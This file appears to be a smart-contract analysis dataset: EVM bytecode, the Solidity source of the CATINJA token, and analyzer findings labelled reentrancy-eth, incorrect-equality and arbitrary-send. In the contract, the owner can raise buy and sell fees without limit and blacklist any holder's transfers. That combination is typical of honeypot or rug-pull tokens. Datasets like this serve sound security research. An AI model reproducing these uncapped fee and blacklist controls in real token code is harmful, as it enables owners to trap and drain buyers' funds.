4f588d331ebfa28653d42ae832dc59e38c9798f6103456103e4565b604080516001600160a01b03928316815291841660208301528051918290030190a16101bc81610449565b600061037a6103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a46103e4565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103df573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6104128161046d565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610476816104d5565b6104b15760405162461bcd60e51b815260040180806020018281038252603b815260200180610512603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820adaa171b0dadd83f811d79d98a406b53316f23f1a2f295fa933b7d36108ebfcf64736f6c63430005100032
{"success": true, "error": null, "results": {}}
4,811
0xB103F79bE8Ff463A2e3D912AF2B5E69fb92A325D
// SPDX-License-Identifier: Unlicensed //https://t.me/Catinja pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CATINJA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CATINJA"; string private constant _symbol = "CATINJA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 2; uint256 private _taxFeeJeets = 6; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 6; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x48265aDd749Aa76A0Ac01f28CA68FD666b5d93d4); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 5e7 * 10**9; uint256 public _maxWalletSize = 15e7 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 5e7 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 3 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e1461060e578063e0f9f6a014610654578063ea1644d514610674578063f2fde38b14610694578063fe72c3c1146106b457600080fd5b806395d89b411461022a5780639ec350ed1461058e5780639f131571146105ae578063a9059cbb146105ce578063c5528490146105ee57600080fd5b80637c519ffb116100f25780637c519ffb1461050f5780637d1db4a514610524578063881dce601461053a5780638da5cb5b1461055a5780638f9a55c01461057857600080fd5b806370a08231146104a4578063715018a6146104c457806374010ece146104d9578063790ca413146104f957600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104195780635d098b38146104395780636b9cf534146104595780636d8aa8f81461046f5780636fc3eaec1461048f57600080fd5b8063313ce5671461039d57806333251a0b146103b957806338eea22d146103d957806349bd5a5e146103f957600080fd5b806318160ddd116101ed57806318160ddd1461030a57806323b872dd1461032f57806327c8f8351461034f57806328bb665a146103655780632fd689e31461038757600080fd5b806306fdde031461022a578063095ea7b3146102695780630f3a325f146102995780631694505e146102d257600080fd5b3661022557005b600080fd5b34801561023657600080fd5b506040805180820182526007815266434154494e4a4160c81b602082015290516102609190611cdf565b60405180910390f35b34801561027557600080fd5b50610289610284366004611d59565b6106ca565b6040519015158152602001610260565b3480156102a557600080fd5b506102896102b4366004611d85565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102de57600080fd5b506019546102f2906001600160a01b031681565b6040516001600160a01b039091168152602001610260565b34801561031657600080fd5b50678ac7230489e800005b604051908152602001610260565b34801561033b57600080fd5b5061028961034a366004611da2565b6106e1565b34801561035b57600080fd5b506102f261dead81565b34801561037157600080fd5b50610385610380366004611df9565b61074a565b005b34801561039357600080fd5b50610321601d5481565b3480156103a957600080fd5b5060405160098152602001610260565b3480156103c557600080fd5b506103856103d4366004611d85565b6107e9565b3480156103e557600080fd5b506103856103f4366004611ebe565b610858565b34801561040557600080fd5b50601a546102f2906001600160a01b031681565b34801561042557600080fd5b50610385610434366004611ee0565b61088d565b34801561044557600080fd5b50610385610454366004611d85565b6108bc565b34801561046557600080fd5b50610321601e5481565b34801561047b57600080fd5b5061038561048a366004611ef9565b610916565b34801561049b57600080fd5b5061038561095e565b3480156104b057600080fd5b506103216104bf366004611d85565b610988565b3480156104d057600080fd5b506103856109aa565b3480156104e557600080fd5b506103856104f4366004611ee0565b610a1e565b34801561050557600080fd5b50610321600a5481565b34801561051b57600080fd5b50610385610a4d565b34801561053057600080fd5b50610321601b5481565b34801561054657600080fd5b50610385610555366004611ee0565b610aa7565b34801561056657600080fd5b506000546001600160a01b03166102f2565b34801561058457600080fd5b50610321601c5481565b34801561059a57600080fd5b506103856105a9366004611ebe565b610b23565b3480156105ba57600080fd5b506103856105c9366004611ef9565b610b58565b3480156105da57600080fd5b506102896105e9366004611d59565b610ba0565b3480156105fa57600080fd5b50610385610609366004611ebe565b610bad565b34801561061a57600080fd5b50610321610629366004611f1b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561066057600080fd5b5061038561066f366004611ee0565b610be2565b34801561068057600080fd5b5061038561068f366004611ee0565b610c1e565b3480156106a057600080fd5b506103856106af366004611d85565b610c5c565b3480156106c057600080fd5b5061032160185481565b60006106d7338484610d46565b5060015b92915050565b60006106ee848484610e6a565b610740843361073b856040518060600160405280602881526020016120f4602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611590565b610d46565b5060019392505050565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161077490611f54565b60405180910390fd5b60005b81518110156107e5576001600960008484815181106107a1576107a1611f89565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107dd81611fb5565b915050610780565b5050565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161077490611f54565b6001600160a01b03811660009081526009602052604090205460ff1615610855576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108825760405162461bcd60e51b815260040161077490611f54565b600d91909155600f55565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161077490611f54565b601355565b6017546001600160a01b0316336001600160a01b0316146108dc57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109405760405162461bcd60e51b815260040161077490611f54565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b03161461097e57600080fd5b47610855816115ca565b6001600160a01b0381166000908152600260205260408120546106db90611604565b6000546001600160a01b031633146109d45760405162461bcd60e51b815260040161077490611f54565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a485760405162461bcd60e51b815260040161077490611f54565b601b55565b6000546001600160a01b03163314610a775760405162461bcd60e51b815260040161077490611f54565b601a54600160a01b900460ff1615610a8e57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610ac757600080fd5b610ad030610988565b8111158015610adf5750600081115b610b1a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610774565b61085581611688565b6000546001600160a01b03163314610b4d5760405162461bcd60e51b815260040161077490611f54565b600b91909155600c55565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161077490611f54565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006106d7338484610e6a565b6000546001600160a01b03163314610bd75760405162461bcd60e51b815260040161077490611f54565b600e91909155601055565b6000546001600160a01b03163314610c0c5760405162461bcd60e51b815260040161077490611f54565b610c1881610e10611fce565b60185550565b6000546001600160a01b03163314610c485760405162461bcd60e51b815260040161077490611f54565b601c54811015610c5757600080fd5b601c55565b6000546001600160a01b03163314610c865760405162461bcd60e51b815260040161077490611f54565b6001600160a01b038116610ceb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610774565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610da85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610774565b6001600160a01b038216610e095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610774565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ece5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610774565b6001600160a01b038216610f305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610774565b60008111610f925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610774565b6001600160a01b03821660009081526009602052604090205460ff1615610fcb5760405162461bcd60e51b815260040161077490611fed565b6001600160a01b03831660009081526009602052604090205460ff16156110045760405162461bcd60e51b815260040161077490611fed565b3360009081526009602052604090205460ff16156110345760405162461bcd60e51b815260040161077490611fed565b6000546001600160a01b0384811691161480159061106057506000546001600160a01b03838116911614155b156113d857601a54600160a01b900460ff166110be5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610774565b601a546001600160a01b0383811691161480156110e957506019546001600160a01b03848116911614155b1561119b576001600160a01b038216301480159061111057506001600160a01b0383163014155b801561112a57506017546001600160a01b03838116911614155b801561114457506017546001600160a01b03848116911614155b1561119b57601b5481111561119b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610774565b601a546001600160a01b038381169116148015906111c757506017546001600160a01b03838116911614155b80156111dc57506001600160a01b0382163014155b80156111f357506001600160a01b03821661dead14155b156112d257601c548161120584610988565b61120f9190612014565b106112685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610774565b601a54600160b81b900460ff16156112d257600a546112889060b4612014565b42116112d257601e548111156112d25760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b6044820152606401610774565b60006112dd30610988565b601d5490915081118080156112fc5750601a54600160a81b900460ff16155b80156113165750601a546001600160a01b03868116911614155b801561132b5750601a54600160b01b900460ff165b801561135057506001600160a01b03851660009081526006602052604090205460ff16155b801561137557506001600160a01b03841660009081526006602052604090205460ff16155b156113d557601354600090156113b0576113a5606461139f6013548661180290919063ffffffff16565b90611884565b90506113b0816118c6565b6113c26113bd828561202c565b611688565b4780156113d2576113d2476115ca565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061141a57506001600160a01b03831660009081526006602052604090205460ff165b8061144c5750601a546001600160a01b0385811691161480159061144c5750601a546001600160a01b03848116911614155b156114595750600061157e565b601a546001600160a01b03858116911614801561148457506019546001600160a01b03848116911614155b156114df576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5490036114df576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561150a57506019546001600160a01b03858116911614155b1561157e576001600160a01b0384166000908152600460205260409020541580159061155b57506018546001600160a01b038516600090815260046020526040902054429161155891612014565b10155b1561157157600b54601155600c5460125561157e565b600f546011556010546012555b61158a848484846118d3565b50505050565b600081848411156115b45760405162461bcd60e51b81526004016107749190611cdf565b5060006115c1848661202c565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107e5573d6000803e3d6000fd5b600060075482111561166b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610774565b6000611675611907565b90506116818382611884565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116d0576116d0611f89565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611729573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174d9190612043565b8160018151811061176057611760611f89565b6001600160a01b0392831660209182029290920101526019546117869130911684610d46565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906117bf908590600090869030904290600401612060565b600060405180830381600087803b1580156117d957600080fd5b505af11580156117ed573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082600003611814575060006106db565b60006118208385611fce565b90508261182d85836120d1565b146116815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610774565b600061168183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192a565b6108553061dead83610e6a565b806118e0576118e0611958565b6118eb84848461199d565b8061158a5761158a601454601155601554601255601654601355565b6000806000611914611a94565b90925090506119238282611884565b9250505090565b6000818361194b5760405162461bcd60e51b81526004016107749190611cdf565b5060006115c184866120d1565b6011541580156119685750601254155b80156119745750601354155b1561197b57565b6011805460145560128054601555601380546016556000928390559082905555565b6000806000806000806119af87611ad4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119e19087611b31565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a109086611b73565b6001600160a01b038916600090815260026020526040902055611a3281611bd2565b611a3c8483611c1c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8191815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611aaf8282611884565b821015611acb57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611af18a601154601254611c40565b9250925092506000611b01611907565b90506000806000611b148e878787611c8f565b919e509c509a509598509396509194505050505091939550919395565b600061168183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611590565b600080611b808385612014565b9050838110156116815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610774565b6000611bdc611907565b90506000611bea8383611802565b30600090815260026020526040902054909150611c079082611b73565b30600090815260026020526040902055505050565b600754611c299083611b31565b600755600854611c399082611b73565b6008555050565b6000808080611c54606461139f8989611802565b90506000611c67606461139f8a89611802565b90506000611c7f82611c798b86611b31565b90611b31565b9992985090965090945050505050565b6000808080611c9e8886611802565b90506000611cac8887611802565b90506000611cba8888611802565b90506000611ccc82611c798686611b31565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611d0c57858101830151858201604001528201611cf0565b81811115611d1e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461085557600080fd5b8035611d5481611d34565b919050565b60008060408385031215611d6c57600080fd5b8235611d7781611d34565b946020939093013593505050565b600060208284031215611d9757600080fd5b813561168181611d34565b600080600060608486031215611db757600080fd5b8335611dc281611d34565b92506020840135611dd281611d34565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611e0c57600080fd5b823567ffffffffffffffff80821115611e2457600080fd5b818501915085601f830112611e3857600080fd5b813581811115611e4a57611e4a611de3565b8060051b604051601f19603f83011681018181108582111715611e6f57611e6f611de3565b604052918252848201925083810185019188831115611e8d57600080fd5b938501935b82851015611eb257611ea385611d49565b84529385019392850192611e92565b98975050505050505050565b60008060408385031215611ed157600080fd5b50508035926020909101359150565b600060208284031215611ef257600080fd5b5035919050565b600060208284031215611f0b57600080fd5b8135801515811461168157600080fd5b60008060408385031215611f2e57600080fd5b8235611f3981611d34565b91506020830135611f4981611d34565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611fc757611fc7611f9f565b5060010190565b6000816000190483118215151615611fe857611fe8611f9f565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b6000821982111561202757612027611f9f565b500190565b60008282101561203e5761203e611f9f565b500390565b60006020828403121561205557600080fd5b815161168181611d34565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120b05784516001600160a01b03168352938301939183019160010161208b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826120ee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000cabba785494e8cefcf3147026a3a62afd66fe1d5649a2b389c9eebf77f612264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,812
0x7bec18135bef74548e7b87537c1e4563b7be77eb
